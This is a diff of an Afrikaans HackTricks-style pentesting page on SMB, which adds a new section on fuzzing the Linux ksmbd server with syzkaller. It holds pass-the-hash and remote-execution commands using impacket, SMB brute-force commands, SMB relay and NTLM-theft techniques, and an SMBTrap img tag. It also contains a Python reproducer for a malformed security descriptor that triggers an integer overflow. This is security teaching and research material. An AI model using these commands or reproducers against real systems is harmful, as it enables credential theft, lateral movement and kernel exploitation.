#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password ./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
``` ```
Met **parameter** `-k` kan jy teen **kerberos** autentiseer in plaas van **NTLM**. Deur die **parameter**`-k` te gebruik, kan jy teen **kerberos** autentiseer in plaas van **NTLM**.
```bash ```bash
#If no password is provided, it will be prompted #If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address> ./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -410,7 +411,7 @@ Met **parameter** `-k` kan jy teen **kerberos** autentiseer in plaas van **NTLM*
``` ```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md) ### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Voer opdragte uit via die Taakbeplanner (met _\pipe\atsvc_ via SMB).\ Voer opdragte uit via die Task Scheduler (met gebruik van _\pipe\atsvc_ via SMB).\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash ```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command" ./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@ -420,21 +421,27 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce gebruikers se akrediteerbesonderhede** ### ksmbd aanvalsoppervlak en SMB2/SMB3 protocol fuzzing (syzkaller)
**Dit word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry** {{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce gebruikers credentials**
**Hierdie word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry**
```bash ```bash
nmap --script smb-brute -p 445 <IP> nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
``` ```
## SMB relay aanval ## SMB relay attack
Hierdie aanval gebruik die Responder toolkit om **SMB-outekenningsessies** op 'n interne netwerk te **vang**, en **oor te dra** na 'n **teikenmasjien**. As die outekenning **sessie suksesvol is**, sal dit jou outomaties in 'n **stelsel** **skulp** laat val.\ Hierdie aanval gebruik die Responder toolkit om **SMB-authentikasiesessies te vang** op 'n interne netwerk, en **herlei** hulle na 'n **doelmasjien**. As die authentikasiesessie **suksesvol** is, sal dit jou outomaties in 'n **stelsel** **shell** laat beland.\
[**Meer inligting oor hierdie aanval hier.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) [**Meer inligting oor hierdie aanval hier.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap ## SMB-Trap
Die Windows biblioteek URLMon.dll probeer outomaties om te autentiseer met die gasheer wanneer 'n bladsy probeer om toegang te verkry tot 'n paar inhoud via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"` Die Windows-biblioteek URLMon.dll probeer outomaties om by die gasheer te autentiseer wanneer 'n bladsy probeer om inhoud via SMB te bereik, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
Dit gebeur met die funksies: Dit gebeur met die funksies:
@ -443,19 +450,19 @@ Dit gebeur met die funksies:
- URLOpenStream - URLOpenStream
- URLOpenBlockingStream - URLOpenBlockingStream
Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word. Wat deur sommige blaaiers en tools (soos Skype) gebruik word
![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap met MitMf ### SMBTrap using MitMf
![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) ![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Diefstal ## NTLM Theft
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-outekenning poging uitlok, wat die NetNTLMv2-hash toelaat om met 'n gereedskap soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](#smb-relay-attack) gebruik word. Soortgelyk aan SMB Trapping, kan die plaas van kwaadwillige lêers op 'n doelstelsel (bv. via SMB) 'n SMB-authentikasiepoging uitlok, wat toelaat dat die NetNTLMv2-hash met 'n instrument soos Responder onderskep word. Die hash kan dan aflyn gekraak word of gebruik word in 'n [SMB relay attack](#smb-relay-attack).
[Siende: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) [Sien: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Outomatiese Opdragte ## HackTricks Outomatiese Opdragte
``` ```

View File

@ -0,0 +1,219 @@
# ksmbd Aanvalsoppervlak & SMB2/SMB3 Protokol Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## Oorsig
Hierdie bladsy abstraheer praktiese tegnieke om die Linux in-kernel SMB-bediener (ksmbd) met syzkaller te oefen en te fuzz. Dit fokus op die uitbreiding van die protokol-aanvalsoppervlak deur konfigurasie, die bou van n staatvolle harness wat SMB2-operasies aaneen kan skakel, die genereer van grammar-valid PDUs, die bevooroordeling van mutasies na swak-gedekte kodepaaie, en die benutting van syzkaller-funksies soos focus_areas en ANYBLOB. Terwyl die oorspronklike navorsing spesifieke CVEs opsom, beklemtoon ons hier die herbruikbare metodologie en konkrete snippers wat jy aan jou eie opstellings kan aanpas.
Teikengrens: SMB2/SMB3 oor TCP. Kerberos en RDMA is doelbewus buite omvang om die harness eenvoudig te hou.
---
## Brei ksmbd-aanvalsoppervlak uit via Konfigurasie
By verstek laat n minimale ksmbd-opstelling groot gedeeltes van die bediener ongetoets. Skakel die volgende funksies in om die bediener deur addisionele parsers/handlers te bestuur en dieper kodepaaie te bereik:
- Globale vlak
- Durable handles
- Server multi-channel
- SMB2 leases
- Per-share-vlak
- Oplocks (aan standaard)
- VFS objects
Die aktivering van hierdie elemente verhoog die uitvoering in modules soos:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
- smbacl.c (ACL parsing/enforcement)
- vfs.c (VFS ops)
- vfs_cache.c (lookup cache)
Notas
- Presiese opsies hang af van jou distro se ksmbd userspace (ksmbd-tools). Hersien /etc/ksmbd/ksmbd.conf en per-share-afdelings om durable handles, leases, oplocks en VFS objects te aktiveer.
- Multi-channel en durable handles verander state machines en lewensduur, en laat dikwels UAF/refcount/OOB-bugs onder gelyktydigheid blyk.
---
## Authentication en koersbeperkings-aanpassings vir Fuzzing
SMB3 benodig n geldige sessie. Implementering van Kerberos in harnesses verhoog kompleksiteit, dus beveel ons NTLM/guest vir fuzzing aan:
- Laat guest-toegang toe en stel map to guest = bad user sodat onbekende gebruikers op GUEST terugval.
- Aanvaar NTLMv2 (patch die beleid as dit gedeaktiveer is). Dit hou die handshake eenvoudig terwyl SMB3-kodepaaie geaktiveer word.
- Verwyder streng credit checks tydens eksperimente (post-hardening vir CVE-2024-50285 het simultaneous-op crediting strenger gemaak). Andersins kan koersbeperkings gefuzzte sekwense te vroeg verwerp.
- Verhoog max connections (bv. na 65536) om vroeë verwerping tydens hoë-deurset fuzzing te vermy.
Waarskuwing: Hierdie verslappinge is slegs bedoel om fuzzing te vergemaklik. Moet dit nie in produksie gebruik nie.
---
## Staatvolle Harness: Onttrek Hulpbronne en Skakel Versoeke
SMB is staatvol: baie versoeke hang af van identifiseerders wat deur vorige antwoorde teruggegee word (SessionId, TreeID, FileID-paartjies). Jou harness moet antwoorde parse en ID's hergebruik binne dieselfde program om by dieper handlers uit te kom (bv. smb2_create → smb2_ioctl → smb2_close).
Voorbeeld-snipper om n response buffer te verwerk (skipping the +4B NetBIOS PDU length) en ID's te kash:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET));
switch (cmd_rsp) {
case SMB2_TREE_CONNECT:
if (received >= TREE_ID_OFFSET + sizeof(uint32_t))
tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET));
break;
case SMB2_SESS_SETUP:
// first session setup response carries session_id
if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t))
session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET));
break;
case SMB2_CREATE:
if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) {
persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET));
volatile_file_id = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET));
}
break;
default:
break;
}
}
```
Wenke
- Hou een fuzzer-proses wat authentication/state deel: beter stabiliteit en dekking met ksmbds global/session tables. syzkaller injecteer steeds concurrency deur ops as async te merk, en intern te herhaal.
- Syzkallers experimental reset_acc_state kan globale staat terugstel, maar kan 'n groot vertraging veroorsaak. Gee voorkeur aan stabiliteit en fokus eerder op fuzzing.
---
## Grammatika-gedrewe SMB2-generering (Geldige PDUs)
Vertaal die Microsoft Open Specifications SMB2-strukture in 'n fuzzer-grammatika sodat jou generator struktureel geldige PDUs produseer, wat sistematies dispatchers en IOCTL handlers bereik.
Voorbeeld (SMB2 IOCTL request):
```
smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix
Command const[0xb, int16]
Header_Suffix SMB2Header_Suffix
StructureSize const[57, int16]
Reserved const[0, int16]
CtlCode union_control_codes
PersistentFileId const[0x4, int64]
VolatileFileId const[0x0, int64]
InputOffset offsetof[Input, int32]
InputCount bytesize[Input, int32]
MaxInputResponse const[65536, int32]
OutputOffset offsetof[Output, int32]
OutputCount len[Output, int32]
MaxOutputResponse const[65536, int32]
Flags int32[0:1]
Reserved2 const[0, int32]
Input array[int8]
Output array[int8]
} [packed]
```
Hierdie styl dwing korrekte struktuurgroottes/-offsets af en verbeter dramaties die dekking in vergelyking met blind mutation.
---
## Directed Fuzzing With focus_areas
Gebruik syzkallers eksperimentele focus_areas om spesifieke funksies/lêers wat tans swak dekking het, meer gewig te gee. Voorbeeld JSON:
```json
{
"focus_areas": [
{"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0},
{"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0},
{"weight": 1.0}
]
}
```
Dit help om geldige ACLs te konstrueer wat aritmetiese/overflow-paaie in smbacl.c tref. Byvoorbeeld, 'n kwaadwillige Security Descriptor met 'n oorgrootte dacloffset reproduseer 'n integer-overflow.
Reproducer builder (minimal Python):
```python
def build_sd():
import struct
sd = bytearray(0x14)
sd[0x00] = 0x00; sd[0x01] = 0x00
struct.pack_into('<H', sd, 0x02, 0x0001)
struct.pack_into('<I', sd, 0x04, 0x78)
struct.pack_into('<I', sd, 0x08, 0x00)
struct.pack_into('<I', sd, 0x0C, 0x10000)
struct.pack_into('<I', sd, 0x10, 0xFFFFFFFF) # dacloffset
while len(sd) < 0x78:
sd += b'A'
sd += b"\x01\x01\x00\x00\x00\x00\x00\x00" # minimal DACL
sd += b"\xCC" * 64
return bytes(sd)
```
---
## Deurbreek dekkingplateauë met ANYBLOB
syzkaller se anyTypes (ANYBLOB/ANYRES) laat toe om komplekse strukture in blobs in te klap wat op 'n generiese wyse muteer. Skep 'n nuwe korpus uit openbare SMB pcaps en omskep payloads in syzkaller-programme wat jou pseudo-syscall aanroep (bv. syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
```
```python
import json, os
os.makedirs("corpus", exist_ok=True)
with open("packets.json") as f:
data = json.load(f)
# adjust indexing to your tshark JSON structure
packets = [e["_source"]["layers"]["tcp.payload"] for e in data]
for i, pkt in enumerate(packets):
pdu = pkt[0]
pdu_size = len(pdu) // 2 # hex string length → bytes
with open(f"corpus/packet_{i:03d}.txt", "w") as f:
f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
Dit gee 'n vlieënde begin aan verkenning en kan onmiddellik UAFs aktiveer (bv. in ksmbd_sessions_deregister), terwyl dit die dekking met 'n paar persent verhoog.
---
## Sanitizers: Verder as KASAN
- KASAN bly die primêre detektor vir heap-bugs (UAF/OOB).
- KCSAN lewer dikwels vals positiewe of data races met lae erns in hierdie teiken.
- UBSAN/KUBSAN kan foute in verklaarde grense opspoor wat KASAN mis as gevolg van array-indeks-semantiek. Voorbeeld:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
__u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSANs declared-bounds checks.
---
## Deurset en Parallelisme Aantekeninge
- Een enkele fuzzer-proses (shared auth/state) is geneig om aansienlik meer stabiel te wees vir ksmbd en toon steeds races/UAFs weens syzkallers interne async executor.
- Met meerdere VMs kan jy steeds honderde SMB-opdragte per sekonde bereik. Funksievlak-dekking van ongeveer ~60% van fs/smb/server en ~70% van smb2pdu.c is haalbaar, alhoewel staatsoorgang-dekking deur sulke metrieke onderverteenwoordig word.
---
## Praktiese Kontroleslys
- Skakel durable handles, leases, multi-channel, oplocks en VFS objects in ksmbd aan.
- Laat guest en map-to-guest toe; aanvaar NTLMv2. Patch uit credit limits en verhoog max connections vir fuzzer stabiliteit.
- Bou 'n stateful harness wat SessionId/TreeID/FileIDs cache en create → ioctl → close keten.
- Gebruik 'n grammar vir SMB2 PDUs om strukturele geldigheid te behou.
- Gebruik focus_areas om swak-gedekte funksies meer gewig te gee (bv. smbacl.c-paaie soos smb_check_perm_dacl).
- Seed met ANYBLOB uit werklike pcaps om plateaus te breek; pak seeds met syz-db vir hergebruik.
- Draai met KASAN + UBSAN; triage UBSAN declared-bounds verslae versigtig.
---
## Verwysings
- Doyensec ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
- syzkaller: https://github.com/google/syzkaller
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
- Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5
- syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db
- KASAN: https://docs.kernel.org/dev-tools/kasan.html
- UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
- Agtergrondlees: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
{{#include ../../banners/hacktricks-training.md}}